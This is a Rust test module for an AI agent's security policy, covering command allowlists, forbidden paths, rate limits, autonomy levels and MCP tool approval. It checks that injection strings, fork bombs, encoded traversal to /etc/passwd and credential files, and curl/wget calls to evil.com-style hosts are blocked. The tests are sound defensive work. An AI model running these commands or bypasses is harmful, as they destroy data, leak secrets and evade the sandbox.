            ..crate::config::AutonomyConfig::default()
        };
        let workspace = PathBuf::from("/tmp/test-workspace");
        let policy = SecurityPolicy::from_config(
            &autonomy_config,
            &workspace,
            crate::config::ExecutionMode::Standard,
        );

        assert_eq!(policy.autonomy, AutonomyLevel::Full);
        assert!(!policy.workspace_only);
        assert_eq!(policy.allowed_commands, vec!["docker"]);
        assert_eq!(policy.forbidden_paths, vec!["/secret"]);
        assert_eq!(policy.max_actions_per_hour, 100);
        assert!(!policy.require_approval_for_medium_risk);
        assert!(!policy.block_high_risk_commands);
        assert_eq!(policy.workspace_dir, PathBuf::from("/tmp/test-workspace"));
    }

    // ── Default policy ──────────────────────────────────────

    #[test]
    fn default_policy_has_sane_values() {
        let p = SecurityPolicy::default();
        assert_eq!(p.autonomy, AutonomyLevel::Supervised);
        assert!(p.workspace_only);
        assert!(!p.allowed_commands.is_empty());
        assert!(!p.forbidden_paths.is_empty());
        assert!(p.max_actions_per_hour > 0);
        assert!(p.require_approval_for_medium_risk);
        assert!(p.block_high_risk_commands);
    }

    // ── ActionTracker / rate limiting ───────────────────────

    #[test]
    fn action_tracker_starts_at_zero() {
        let tracker = ActionTracker::new();
        assert_eq!(tracker.count(), 0);
    }

    #[test]
    fn action_tracker_records_actions() {
        let tracker = ActionTracker::new();
        assert_eq!(tracker.record(), 1);
        assert_eq!(tracker.record(), 2);
        assert_eq!(tracker.record(), 3);
        assert_eq!(tracker.count(), 3);
    }

    #[test]
    fn record_action_allows_within_limit() {
        let p = SecurityPolicy {
            max_actions_per_hour: 5,
            ..SecurityPolicy::default()
        };
        for _ in 0..5 {
            assert!(p.record_action(), "should allow actions within limit");
        }
    }

    #[test]
    fn record_action_blocks_over_limit() {
        let p = SecurityPolicy {
            max_actions_per_hour: 3,
            ..SecurityPolicy::default()
        };
        assert!(p.record_action()); // 1
        assert!(p.record_action()); // 2
        assert!(p.record_action()); // 3
        assert!(!p.record_action()); // 4 — over limit
    }

    #[test]
    fn is_rate_limited_reflects_count() {
        let p = SecurityPolicy {
            max_actions_per_hour: 2,
            ..SecurityPolicy::default()
        };
        assert!(!p.is_rate_limited());
        p.record_action();
        assert!(!p.is_rate_limited());
        p.record_action();
        assert!(p.is_rate_limited());
    }

    #[test]
    fn action_tracker_clone_is_independent() {
        let tracker = ActionTracker::new();
        tracker.record();
        tracker.record();
        let cloned = tracker.clone();
        assert_eq!(cloned.count(), 2);
        tracker.record();
        assert_eq!(tracker.count(), 3);
        assert_eq!(cloned.count(), 2); // clone is independent
    }

    // ── Edge cases: command injection ────────────────────────

    #[test]
    fn command_injection_semicolon_blocked() {
        let p = default_policy();
        // First word is "ls;" (with semicolon) — doesn't match "ls" in allowlist.
        // This is a safe default: chained commands are blocked.
        assert!(!p.is_command_allowed("ls; rm -rf /"));
    }

    #[test]
    fn command_injection_semicolon_no_space() {
        let p = default_policy();
        assert!(!p.is_command_allowed("ls;rm -rf /"));
    }

    #[test]
    fn command_injection_backtick_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("echo `whoami`"));
        assert!(!p.is_command_allowed("echo `rm -rf /`"));
    }

    #[test]
    fn command_injection_dollar_paren_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
        assert!(!p.is_command_allowed("echo $(rm -rf /)"));
    }

    #[test]
    fn command_with_env_var_prefix() {
        let p = default_policy();
        // "FOO=bar" is the first word — not in allowlist
        assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
    }

    #[test]
    fn command_newline_injection_blocked() {
        let p = default_policy();
        // Newline splits into two commands; "rm" is not in allowlist
        assert!(!p.is_command_allowed("ls\nrm -rf /"));
        // Both allowed — OK
        assert!(p.is_command_allowed("ls\necho hello"));
    }

    #[test]
    fn command_injection_and_chain_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("ls && rm -rf /"));
        assert!(!p.is_command_allowed("echo ok && curl http://evil.com"));
        // Both allowed — OK
        assert!(p.is_command_allowed("ls && echo done"));
    }

    #[test]
    fn command_injection_or_chain_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("ls || rm -rf /"));
        // Both allowed — OK
        assert!(p.is_command_allowed("ls || echo fallback"));
    }

    #[test]
    fn command_injection_background_chain_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("ls & rm -rf /"));
        assert!(!p.is_command_allowed("ls&rm -rf /"));
        assert!(!p.is_command_allowed("echo ok & python3 -c 'print(1)'"));
    }

    #[test]
    fn fork_bomb_snippet_remains_high_risk() {
        let p = default_policy();
        assert_eq!(
            p.command_risk_level(":(){ :|:& };:"),
            CommandRiskLevel::High
        );
        assert!(!p.is_command_allowed(":(){ :|:& };:"));
    }

    #[test]
    fn command_injection_redirect_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("echo secret > /etc/crontab"));
        assert!(!p.is_command_allowed("ls >> /tmp/exfil.txt"));
    }

    #[test]
    fn command_argument_injection_blocked() {
        let p = default_policy();
        // find -exec is a common bypass
        assert!(!p.is_command_allowed("find . -exec rm -rf {} +"));
        assert!(!p.is_command_allowed("find / -ok cat {} \\;"));
        // git config/alias can execute commands
        assert!(!p.is_command_allowed("git config core.editor \"rm -rf /\""));
        assert!(!p.is_command_allowed("git alias.st status"));
        assert!(!p.is_command_allowed("git -c core.editor=calc.exe commit"));
        // Legitimate commands should still work
        assert!(p.is_command_allowed("find . -name '*.txt'"));
        assert!(p.is_command_allowed("git status"));
        assert!(p.is_command_allowed("git add ."));
    }

    #[test]
    fn command_argument_env_paths_still_respect_forbidden_and_workspace_rules() {
        let p = default_policy();
        assert!(!p.is_command_allowed("cat $HOME/foo"));
        assert!(!p.is_command_allowed("cat ${HOME}/foo"));
    }

    #[test]
    fn command_argument_path_checks_allow_double_dot_in_filename() {
        let p = default_policy();
        assert!(p.is_command_allowed("cat my..file.rs"));
    }

    #[test]
    fn command_injection_dollar_brace_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("echo ${IFS}cat${IFS}/etc/passwd"));
    }

    #[test]
    fn command_injection_tee_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("echo secret | tee /etc/crontab"));
        assert!(!p.is_command_allowed("ls | /usr/bin/tee outfile"));
        assert!(!p.is_command_allowed("tee file.txt"));
    }

    #[test]
    fn command_injection_process_substitution_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("cat <(echo pwned)"));
        assert!(!p.is_command_allowed("ls >(cat /etc/passwd)"));
    }

    #[test]
    fn command_env_var_prefix_with_allowed_cmd() {
        let p = default_policy();
        // env assignment + allowed command — OK
        assert!(p.is_command_allowed("FOO=bar ls"));
        assert!(p.is_command_allowed("LANG=C grep pattern file"));
        // env assignment + disallowed command — blocked
        assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
    }

    // ── Edge cases: path traversal ──────────────────────────

    #[test]
    fn command_with_flag_embedded_absolute_path_is_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed("grep --file=/etc/passwd foo.txt"));
    }

    #[test]
    fn path_traversal_encoded_dots() {
        let p = default_policy();
        // Literal ".." in path — always blocked
        assert!(!p.is_path_allowed("foo/..%2f..%2fetc/passwd"));
    }

    #[test]
    fn path_traversal_double_dot_in_filename() {
        let p = default_policy();
        // ".." in a filename (not a path component) is allowed
        assert!(p.is_path_allowed("my..file.txt"));
        // But actual traversal components are still blocked
        assert!(!p.is_path_allowed("../etc/passwd"));
        assert!(!p.is_path_allowed("foo/../etc/passwd"));
    }

    #[test]
    fn path_with_null_byte_blocked() {
        let p = default_policy();
        assert!(!p.is_path_allowed("file\0.txt"));
    }

    #[test]
    fn path_symlink_style_absolute() {
        let p = default_policy();
        assert!(!p.is_path_allowed("/proc/self/root/etc/passwd"));
    }

    #[test]
    fn path_home_tilde_ssh() {
        let p = SecurityPolicy {
            workspace_only: false,
            ..SecurityPolicy::default()
        };
        assert!(!p.is_path_allowed("~/.ssh/id_rsa"));
        assert!(!p.is_path_allowed("~/.gnupg/secring.gpg"));
    }

    #[test]
    fn path_var_run_blocked() {
        let p = SecurityPolicy {
            workspace_only: false,
            ..SecurityPolicy::default()
        };
        assert!(!p.is_path_allowed("/var/run/docker.sock"));
    }

    // ── Edge cases: rate limiter boundary ────────────────────

    #[test]
    fn rate_limit_exactly_at_boundary() {
        let p = SecurityPolicy {
            max_actions_per_hour: 1,
            ..SecurityPolicy::default()
        };
        assert!(p.record_action()); // 1 — exactly at limit
        assert!(!p.record_action()); // 2 — over
        assert!(!p.record_action()); // 3 — still over
    }

    #[test]
    fn rate_limit_zero_blocks_everything() {
        let p = SecurityPolicy {
            max_actions_per_hour: 0,
            ..SecurityPolicy::default()
        };
        assert!(!p.record_action());
    }

    #[test]
    fn action_rate_denials_are_labeled_separately_from_token_spend() {
        let policy = SecurityPolicy {
            max_actions_per_hour: 0,
            ..default_policy()
        };

        let err = policy
            .enforce_tool_operation(ToolOperation::Act, "file_write")
            .unwrap_err();

        assert!(err.contains("action budget exhausted"));
        assert!(!err.to_ascii_lowercase().contains("cost"));
        assert!(!err.to_ascii_lowercase().contains("token"));
    }

    #[test]
    fn rate_limit_high_allows_many() {
        let p = SecurityPolicy {
            max_actions_per_hour: 10000,
            ..SecurityPolicy::default()
        };
        for _ in 0..100 {
            assert!(p.record_action());
        }
    }

    // ── Edge cases: autonomy + command combos ────────────────

    #[test]
    fn readonly_blocks_even_safe_commands() {
        let p = SecurityPolicy {
            autonomy: AutonomyLevel::ReadOnly,
            allowed_commands: vec!["ls".into(), "cat".into()],
            ..SecurityPolicy::default()
        };
        assert!(!p.is_command_allowed("ls"));
        assert!(!p.is_command_allowed("cat"));
        assert!(!p.can_act());
    }

    #[test]
    fn supervised_allows_listed_commands() {
        let p = SecurityPolicy {
            autonomy: AutonomyLevel::Supervised,
            allowed_commands: vec!["git".into()],
            ..SecurityPolicy::default()
        };
        assert!(p.is_command_allowed("git status"));
        assert!(!p.is_command_allowed("docker ps"));
    }

    #[test]
    fn full_autonomy_still_respects_forbidden_paths() {
        let p = SecurityPolicy {
            autonomy: AutonomyLevel::Full,
            workspace_only: false,
            ..SecurityPolicy::default()
        };
        assert!(!p.is_path_allowed("/etc/shadow"));
        assert!(!p.is_path_allowed("/root/.bashrc"));
    }

    // ── Edge cases: from_config preserves tracker ────────────

    #[test]
    fn from_config_creates_fresh_tracker() {
        let autonomy_config = crate::config::AutonomyConfig {
            level: AutonomyLevel::Full,
            workspace_only: false,
            allowed_commands: vec![],
            forbidden_paths: vec![],
            max_actions_per_hour: 10,
            require_approval_for_medium_risk: true,
            block_high_risk_commands: true,
            ..crate::config::AutonomyConfig::default()
        };
        let workspace = PathBuf::from("/tmp/test");
        let policy = SecurityPolicy::from_config(
            &autonomy_config,
            &workspace,
            crate::config::ExecutionMode::Standard,
        );
        assert_eq!(policy.tracker.count(), 0);
        assert!(!policy.is_rate_limited());
    }

    #[test]
    fn source_kind_distinguishes_mcp_from_native() {
        assert_eq!(source_kind_for_tool("mcp.docs.search"), ToolSourceKind::Mcp);
        assert_eq!(source_kind_for_tool("file_read"), ToolSourceKind::Native);
        assert_eq!(source_kind_for_tool(""), ToolSourceKind::Unknown);
    }

    #[test]
    fn source_kind_detects_mcp_resource() {
        assert_eq!(
            source_kind_for_tool("mcp.docs.resource.api-spec"),
            ToolSourceKind::McpResource
        );
    }

    #[test]
    fn source_kind_detects_mcp_prompt() {
        assert_eq!(
            source_kind_for_tool("mcp.workflows.prompt.code-review"),
            ToolSourceKind::McpPrompt
        );
    }

    #[test]
    fn plan_mode_policy_allows_explicit_read_and_search_tools_only() {
        let mut policy = SecurityPolicy::default();
        policy.execution_mode = crate::config::ExecutionMode::Plan;

        assert_eq!(
            policy.evaluate_tool_policy("file_read"),
            ToolPolicyDecision::Allow
        );
        assert_eq!(
            policy.evaluate_tool_policy("code_search"),
            ToolPolicyDecision::Allow
        );
        assert_eq!(
            policy.evaluate_tool_policy("Glob"),
            ToolPolicyDecision::Allow
        );
        assert_eq!(
            policy.evaluate_tool_policy("Grep"),
            ToolPolicyDecision::Allow
        );
        assert_eq!(
            policy.evaluate_tool_policy("WebFetch"),
            ToolPolicyDecision::Allow
        );
        assert_eq!(
            policy.evaluate_tool_policy("file_write"),
            ToolPolicyDecision::Deny
        );
        assert_eq!(
            policy.evaluate_tool_policy("shell"),
            ToolPolicyDecision::Deny
        );
        assert_eq!(
            policy.evaluate_tool_policy("delegate"),
            ToolPolicyDecision::Deny
        );
        assert_eq!(
            policy.evaluate_tool_policy("mcp.docs.search"),
            ToolPolicyDecision::Deny
        );
        assert_eq!(
            policy.evaluate_tool_policy("unknown_tool"),
            ToolPolicyDecision::Deny
        );
    }

    #[test]
    fn plan_mode_policy_returns_machine_readable_block_reason() {
        let mut policy = SecurityPolicy::default();
        policy.execution_mode = crate::config::ExecutionMode::Plan;

        let outcome = policy.evaluate_tool_policy_outcome("file_write");
        assert_eq!(outcome.decision, ToolPolicyDecision::Deny);
        assert_eq!(outcome.code, Some(PLAN_MODE_BLOCKED_CODE));
        assert!(outcome
            .reason
            .as_deref()
            .unwrap_or_default()
            .contains("Plan Mode allows analysis-only capabilities"));
    }

    #[test]
    fn source_kind_mcp_tool_unchanged() {
        // Regular MCP tool names without .resource. or .prompt. segments
        assert_eq!(source_kind_for_tool("mcp.docs.search"), ToolSourceKind::Mcp);
        assert_eq!(
            source_kind_for_tool("mcp.server.tool-name"),
            ToolSourceKind::Mcp
        );
    }

    #[test]
    fn evaluate_tool_policy_requires_approval_for_mcp_resource() {
        let policy = default_policy();
        assert_eq!(
            policy.evaluate_tool_policy("mcp.docs.resource.api-spec"),
            ToolPolicyDecision::ApprovalRequired
        );
    }

    #[test]
    fn evaluate_tool_policy_requires_approval_for_mcp_prompt() {
        let policy = default_policy();
        assert_eq!(
            policy.evaluate_tool_policy("mcp.workflows.prompt.code-review"),
            ToolPolicyDecision::ApprovalRequired
        );
    }

    #[test]
    fn evaluate_tool_policy_requires_approval_for_mcp_by_default() {
        let policy = default_policy();
        assert_eq!(
            policy.evaluate_tool_policy("mcp.docs.search"),
            ToolPolicyDecision::ApprovalRequired
        );
        assert_eq!(
            policy.evaluate_tool_policy("file_read"),
            ToolPolicyDecision::Allow
        );
    }

    #[test]
    fn evaluate_tool_policy_denies_all_tools_in_read_only_mode() {
        let policy = readonly_policy();
        assert_eq!(
            policy.evaluate_tool_policy("mcp.docs.search"),
            ToolPolicyDecision::Deny
        );
        assert_eq!(
            policy.evaluate_tool_policy("file_read"),
            ToolPolicyDecision::Deny
        );
    }

    #[test]
    fn mission_origin_policy_evaluation_matches_standard_path() {
        let policy = default_policy();
        assert_eq!(
            policy.evaluate_tool_policy_for_origin("mcp.docs.search", ExecutionOrigin::Mission),
            policy.evaluate_tool_policy_for_origin("mcp.docs.search", ExecutionOrigin::Standard)
        );
        assert_eq!(
            policy.evaluate_tool_policy_for_origin("file_read", ExecutionOrigin::Mission),
            ToolPolicyDecision::Allow
        );
    }

    // ══════════════════════════════════════════════════════════
    // SECURITY CHECKLIST TESTS
    // Checklist: gateway not public, pairing required,
    //            filesystem scoped (no /), access via tunnel
    // ══════════════════════════════════════════════════════════

    // ── Checklist #3: Filesystem scoped (no /) ──────────────

    #[test]
    fn checklist_root_path_blocked() {
        let p = default_policy();
        assert!(!p.is_path_allowed("/"));
        assert!(!p.is_path_allowed("/anything"));
    }

    #[test]
    fn checklist_all_system_dirs_blocked() {
        let p = SecurityPolicy {
            workspace_only: false,
            ..SecurityPolicy::default()
        };
        for dir in [
            "/etc", "/root", "/home", "/usr", "/bin", "/sbin", "/lib", "/opt", "/boot", "/dev",
            "/proc", "/sys", "/var", "/tmp",
        ] {
            assert!(
                !p.is_path_allowed(dir),
                "System dir should be blocked: {dir}"
            );
            assert!(
                !p.is_path_allowed(&format!("{dir}/subpath")),
                "Subpath of system dir should be blocked: {dir}/subpath"
            );
        }
    }

    #[test]
    fn checklist_sensitive_dotfiles_blocked() {
        let p = SecurityPolicy {
            workspace_only: false,
            ..SecurityPolicy::default()
        };
        for path in [
            "~/.ssh/id_rsa",
            "~/.gnupg/secring.gpg",
            "~/.aws/credentials",
            "~/.config/secrets",
        ] {
            assert!(
                !p.is_path_allowed(path),
                "Sensitive dotfile should be blocked: {path}"
            );
        }
    }

    #[test]
    fn checklist_null_byte_injection_blocked() {
        let p = default_policy();
        assert!(!p.is_path_allowed("safe\0/../../../etc/passwd"));
        assert!(!p.is_path_allowed("\0"));
        assert!(!p.is_path_allowed("file\0"));
    }

    #[test]
    fn checklist_workspace_only_blocks_all_absolute() {
        let p = SecurityPolicy {
            workspace_only: true,
            ..SecurityPolicy::default()
        };
        assert!(!p.is_path_allowed("/any/absolute/path"));
        assert!(p.is_path_allowed("relative/path.txt"));
    }

    #[test]
    fn checklist_resolved_path_must_be_in_workspace() {
        let p = SecurityPolicy {
            workspace_dir: PathBuf::from("/home/user/project"),
            ..SecurityPolicy::default()
        };
        // Inside workspace — allowed
        assert!(p.is_resolved_path_allowed(Path::new("/home/user/project/src/main.rs")));
        // Outside workspace — blocked (symlink escape)
        assert!(!p.is_resolved_path_allowed(Path::new("/etc/passwd")));
        assert!(!p.is_resolved_path_allowed(Path::new("/home/user/other_project/file")));
        // Root — blocked
        assert!(!p.is_resolved_path_allowed(Path::new("/")));
    }

    #[test]
    fn checklist_default_policy_is_workspace_only() {
        let p = SecurityPolicy::default();
        assert!(
            p.workspace_only,
            "Default policy must be workspace_only=true"
        );
    }

    #[test]
    fn checklist_default_forbidden_paths_comprehensive() {
        let p = SecurityPolicy::default();
        // Must contain all critical system dirs
        for dir in ["/etc", "/root", "/proc", "/sys", "/dev", "/var", "/tmp"] {
            assert!(
                p.forbidden_paths.iter().any(|f| f == dir),
                "Default forbidden_paths must include {dir}"
            );
        }
        // Must contain sensitive dotfiles
        for dot in ["~/.ssh", "~/.gnupg", "~/.aws"] {
            assert!(
                p.forbidden_paths.iter().any(|f| f == dot),
                "Default forbidden_paths must include {dot}"
            );
        }
    }

    // ── §1.2 Path resolution / symlink bypass tests ──────────

    #[test]
    fn resolved_path_blocks_outside_workspace() {
        let workspace = std::env::temp_dir().join("corvus_test_resolved_path");
        let _ = std::fs::create_dir_all(&workspace);

        // Use the canonicalized workspace so starts_with checks match
        let canonical_workspace = workspace
            .canonicalize()
            .unwrap_or_else(|_| workspace.clone());

        let policy = SecurityPolicy {
            workspace_dir: canonical_workspace.clone(),
            ..SecurityPolicy::default()
        };

        // A resolved path inside the workspace should be allowed
        let inside = canonical_workspace.join("subdir").join("file.txt");
        assert!(
            policy.is_resolved_path_allowed(&inside),
            "path inside workspace should be allowed"
        );

        // A resolved path outside the workspace should be blocked
        let canonical_temp = std::env::temp_dir()
            .canonicalize()
            .unwrap_or_else(|_| std::env::temp_dir());
        let outside = canonical_temp.join("outside_workspace_corvus");
        assert!(
            !policy.is_resolved_path_allowed(&outside),
            "path outside workspace must be blocked"
        );

        let _ = std::fs::remove_dir_all(&workspace);
    }

    #[test]
    fn resolved_path_blocks_root_escape() {
        let policy = SecurityPolicy {
            workspace_dir: PathBuf::from("/home/corvus_user/project"),
            ..SecurityPolicy::default()
        };

        assert!(
            !policy.is_resolved_path_allowed(Path::new("/etc/passwd")),
            "resolved path to /etc/passwd must be blocked"
        );
        assert!(
            !policy.is_resolved_path_allowed(Path::new("/root/.bashrc")),
            "resolved path to /root/.bashrc must be blocked"
        );
    }

    #[cfg(unix)]
    #[test]
    fn resolved_path_blocks_symlink_escape() {
        use std::os::unix::fs::symlink;

        let root = std::env::temp_dir().join("corvus_test_symlink_escape");
        let workspace = root.join("workspace");
        let outside = root.join("outside_target");

        let _ = std::fs::remove_dir_all(&root);
        std::fs::create_dir_all(&workspace).unwrap();
        std::fs::create_dir_all(&outside).unwrap();

        // Create a symlink inside workspace pointing outside
        let link_path = workspace.join("escape_link");
        symlink(&outside, &link_path).unwrap();

        let policy = SecurityPolicy {
            workspace_dir: workspace.clone(),
            ..SecurityPolicy::default()
        };

        // The resolved symlink target should be outside workspace
        let resolved = link_path.canonicalize().unwrap();
        assert!(
            !policy.is_resolved_path_allowed(&resolved),
            "symlink-resolved path outside workspace must be blocked"
        );

        let _ = std::fs::remove_dir_all(&root);
    }

    #[test]
    fn is_path_allowed_blocks_null_bytes() {
        let policy = default_policy();
        assert!(
            !policy.is_path_allowed("file\0.txt"),
            "paths with null bytes must be blocked"
        );
    }

    #[test]
    fn is_path_allowed_blocks_url_encoded_traversal() {
        let policy = default_policy();
        assert!(
            !policy.is_path_allowed("..%2fetc%2fpasswd"),
            "URL-encoded path traversal must be blocked"
        );
        assert!(
            !policy.is_path_allowed("subdir%2f..%2f..%2fetc"),
            "URL-encoded parent dir traversal must be blocked"
        );
        assert!(
            !policy.is_path_allowed("%252e%252e%252f%252e%252e%252fetc%252fpasswd"),
            "Double URL-encoded traversal must be blocked"
        );
        assert!(
            !policy.is_path_allowed("%252e%252e"),
            "Double URL-encoded '..' must be blocked"
        );
    }

    #[test]
    fn is_path_allowed_blocks_dangerous_chars() {
        let p = default_policy();
        assert!(!p.is_path_allowed("file\\.txt"));
        assert!(!p.is_path_allowed("..%2fetc%2fpasswd")); // encoded traversal is blocked
    }

    #[test]
    fn is_command_allowed_blocks_shell_meta_chars() {
        let p = default_policy();
        assert!(!p.is_command_allowed("ls *"));
        assert!(!p.is_command_allowed("ls ?"));
        assert!(!p.is_command_allowed("ls [a-z]"));
        assert!(!p.is_command_allowed("ls {a,b}"));
        assert!(!p.is_command_allowed("echo \\$HOME"));
    }

    #[test]
    fn is_command_allowed_blocks_input_redirection() {
        let p = default_policy();
        assert!(
            !p.is_command_allowed("cat < /etc/passwd"),
            "Input redirection must be blocked"
        );
    }

    // ── Task 3.3: Delegated session security parity ──────────────
    //
    // Delegated sessions run through the same SecurityPolicy as direct sessions.
    // These tests confirm that the policy primitives relied upon by run_session()
    // — is_path_allowed, command_risk_level, and enforce_tool_operation — are
    // not weakened and behave identically regardless of call context.

    /// `is_path_allowed` must block traversal paths that a delegated session
    /// might try to access when writing files.
    #[test]
    fn delegated_session_path_traversal_blocked() {
        let policy = default_policy();
        // Traversal attempts that a sub-agent might emit
        assert!(
            !policy.is_path_allowed("../../../etc/passwd"),
            "traversal path must be blocked for delegated sessions"
        );
        assert!(
            !policy.is_path_allowed("/etc/shadow"),
            "absolute system path must be blocked for delegated sessions"
        );
        // Legitimate workspace-relative paths remain allowed
        assert!(
            policy.is_path_allowed("src/main.rs"),
            "workspace-relative path must be allowed for delegated sessions"
        );
    }

    /// `command_risk_level` must classify network-fetch commands as high-risk
    /// regardless of whether they originate from a direct or delegated session.
    #[test]
    fn delegated_session_network_commands_are_high_risk() {
        let policy = default_policy();
        assert_eq!(
            policy.command_risk_level("curl https://evil.com/payload.sh"),
            CommandRiskLevel::High,
            "curl must be High risk in delegated sessions"
        );
        assert_eq!(
            policy.command_risk_level("wget http://attacker.example/file"),
            CommandRiskLevel::High,
            "wget must be High risk in delegated sessions"
        );
    }

    #[test]
    fn is_command_allowed_blocks_url_encoded_bypasses() {
        let p = default_policy();

        assert!(!p.is_command_allowed("echo secret %3e /tmp/pwned"));
        assert!(!p.is_command_allowed("echo secret %3E /tmp/pwned"));
        assert!(!p.is_command_allowed("ls %26 rm -rf /"));
        assert!(!p.is_command_allowed("echo %24%28whoami%29"));
        assert!(!p.is_command_allowed("cat ..%2f..%2fetc%2fpasswd"));
        assert!(!p.is_command_allowed("cat secret.txt%00.jpg"));
    }

    #[test]
    fn is_path_allowed_blocks_encoded_null_bytes() {
        let p = default_policy();
        assert!(!p.is_path_allowed("file.txt%00"));
        assert!(!p.is_path_allowed("%00file.txt"));
    }

    #[test]
    fn command_risk_level_detects_encoded_dangerous_snippets() {
        let p = default_policy();
        assert_eq!(
            p.command_risk_level("rm%20-rf%20%2f"),
            CommandRiskLevel::High
        );

        let encoded_fork = "%3a%28%29%7b%3a%7c%3a%26%7d%3b%3a";
        assert_eq!(p.command_risk_level(encoded_fork), CommandRiskLevel::High);
    }

    #[test]
    fn deep_encoded_traversal_attacks_blocked() {
        let p = default_policy();

        assert!(
            !p.is_command_allowed("cat %2525252e%2525252e/etc/passwd"),
            "Deep-encoded traversal in cat command must be blocked"
        );
        assert!(
            !p.is_path_allowed("%2525252e%2525252e/etc/passwd"),
            "Deep-encoded traversal path must be blocked"
        );
        assert_eq!(
            p.command_risk_level("rm %2525252e%2525252e/etc/passwd"),
            CommandRiskLevel::High,
            "Deep-encoded rm must be classified as High risk"
        );
        assert!(
            !p.is_command_allowed("rm %2525252e%2525252e/etc/passwd"),
            "Deep-encoded rm command must be blocked"
        );

        let deep_fork = "%253a%2528%2529%257b%253a%257c%253a%2526%257d%253b%253a";
        assert_eq!(
            p.command_risk_level(deep_fork),
            CommandRiskLevel::High,
            "Deep-encoded fork bomb must be classified as High risk"
        );
        assert!(
            !p.is_command_allowed(deep_fork),
            "Deep-encoded fork bomb must be blocked"
        );
    }

    /// `enforce_tool_operation` Act gate must be identical for delegated context:
    /// read-only policy blocks Act, rate limit blocks Act.
    #[test]
    fn delegated_session_enforce_tool_operation_parity() {
        // Read-only blocks Act
        let readonly = SecurityPolicy {
            autonomy: AutonomyLevel::ReadOnly,
            ..SecurityPolicy::default()
        };
        assert!(
            readonly
                .enforce_tool_operation(ToolOperation::Act, "delegate")
                .is_err(),
            "read-only must block Act in delegated session context"
        );

        // Rate-limit = 0 blocks Act
        let rate_limited = SecurityPolicy {
            max_actions_per_hour: 0,
            ..SecurityPolicy::default()
        };
        assert!(
            rate_limited
                .enforce_tool_operation(ToolOperation::Act, "delegate")
                .is_err(),
            "rate-limited policy must block Act in delegated session context"
        );

        // Read is always allowed
        assert!(
            readonly
                .enforce_tool_operation(ToolOperation::Read, "memory_recall")
                .is_ok(),
            "Read must always be allowed regardless of autonomy level"
        );
    }

    #[test]
    fn is_command_allowed_blocks_path_in_flags() {
        let mut p = SecurityPolicy::default();
        p.workspace_only = true;
        p.allowed_commands = vec!["grep".into()];
        p.forbidden_paths = vec!["/etc".into()];

        // Case 1: Standalone absolute path
        assert!(!p.is_command_allowed("grep pattern /etc/passwd"));

        // Case 2: Path in flag
        assert!(
            !p.is_command_allowed("grep --file=/etc/passwd pattern"),
            "Should block absolute path in flag"
        );

        // Case 3: git -C/etc status
        p.allowed_commands.push("git".into());
        assert!(
            !p.is_command_allowed("git -C/etc status"),
            "Should block absolute path in short flag"
        );
    }

    #[test]
    fn is_command_allowed_blocks_quote_bypasses() {
        let mut p = SecurityPolicy::default();
        p.workspace_only = true;
        p.allowed_commands = vec!["cat".into(), "git".into()];
        p.forbidden_paths = vec!["/etc".into()];

        // Nested quotes
        assert!(!p.is_command_allowed("cat '\"/etc/passwd\"'"));
        assert!(!p.is_command_allowed("cat \"'/etc/passwd'\""));
        assert!(!p.is_command_allowed("cat \"\"/etc/passwd\"\""));

        // Partial quotes
        assert!(!p.is_command_allowed("cat \"/etc\"/passwd"));
        assert!(!p.is_command_allowed("cat /\"etc\"/passwd"));

        // Quoted flags
        assert!(!p.is_command_allowed("git -C\"/etc\" status"));
        assert!(!p.is_command_allowed("git \"-C/etc\" status"));
    }

    #[test]
    fn is_path_allowed_validates_raw_paths_without_dequoting() {
        let p = SecurityPolicy {
            workspace_only: true,
            ..SecurityPolicy::default()
        };

        assert!(!p.is_path_allowed("\"relative/file.txt\""));
        assert!(!p.is_path_allowed("\"/etc/passwd\""));
        assert!(!p.is_path_allowed("'../secret'"));
        assert!(!p.is_path_allowed("%2e%2e/etc/passwd"));
        assert!(!p.is_path_allowed(".."));
        assert!(!p.is_path_allowed("../etc/passwd"));
    }

    #[test]
    fn command_path_checks_decode_and_dequote_shell_arguments() {
        let mut p = SecurityPolicy::default();
        p.workspace_only = true;
        p.allowed_commands = vec!["cat".into()];
        p.forbidden_paths = vec!["/etc".into()];

        assert!(!p.is_command_allowed("cat %2fetc%2fpasswd"));
        assert!(!p.is_command_allowed("cat '\"/etc/passwd\"'"));
        assert!(!p.is_command_allowed("cat %252e%252e%252fetc%252fpasswd"));
    }
}

#[test]
fn test_package_manager_risk_hardening() {
    let mut p = SecurityPolicy::default();
    p.allowed_commands = vec!["npm".into(), "pnpm".into(), "yarn".into(), "cargo".into()];

    // is_args_safe hardening
    assert!(!p.is_command_allowed("npm config set editor malicious"));
    assert!(!p.is_command_allowed("pnpm config get user"));
    assert!(!p.is_command_allowed("yarn set version berry"));

    // is_medium_risk_command hardening (npm)
    assert_eq!(
        p.command_risk_level("npm run build"),
        CommandRiskLevel::Medium
    );
    assert_eq!(p.command_risk_level("npm test"), CommandRiskLevel::Medium);
    assert_eq!(p.command_risk_level("npm t"), CommandRiskLevel::Medium);
    assert_eq!(
        p.command_risk_level("pnpm run-script start"),
        CommandRiskLevel::Medium
    );
    assert_eq!(p.command_risk_level("yarn it"), CommandRiskLevel::Medium);

    // is_medium_risk_command hardening (cargo)
    assert_eq!(p.command_risk_level("cargo run"), CommandRiskLevel::Medium);
    assert_eq!(p.command_risk_level("cargo r"), CommandRiskLevel::Medium);
    assert_eq!(p.command_risk_level("cargo test"), CommandRiskLevel::Medium);
    assert_eq!(p.command_risk_level("cargo t"), CommandRiskLevel::Medium);
}
